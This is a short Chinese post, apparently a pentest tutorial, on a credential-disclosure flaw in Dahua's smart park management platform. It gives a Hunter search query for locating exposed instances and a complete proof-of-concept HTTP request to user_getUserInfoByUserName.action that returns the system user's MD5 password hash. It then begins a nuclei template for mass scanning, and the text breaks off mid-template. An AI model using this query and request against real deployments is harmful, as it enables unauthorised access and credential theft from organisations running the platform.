httpx+nuclei实战 | 大华智慧园区综合管理平台任意密码读取漏洞

目录

漏洞成因

hunter语法

POC

速刷技巧

httpx和nuclei的下载链接

使用方法

                hack渗透视频 网安资料欢迎领取

---

漏洞成因

没有对接口进行严格的权限管理，导致可以通过访问user_getUserInfoByUserName.action获取system用户的MD5加密后的密码

hunter语法

web.icon="4644f2d45601037b8423d45e13194c93"&&web.title="智慧园区综合管理平台"

POC​​​​​​​

GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1Host: xxxxxxxxxCookie: JSESSIONID=D99F6DAEA7EC0695266E95A1B1A529CCCache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X-Forwarded-For: 127.0.0.1Connection: close

编写.yam文件​​​​​​​

id: dahuainfo:  name: Template Name  aut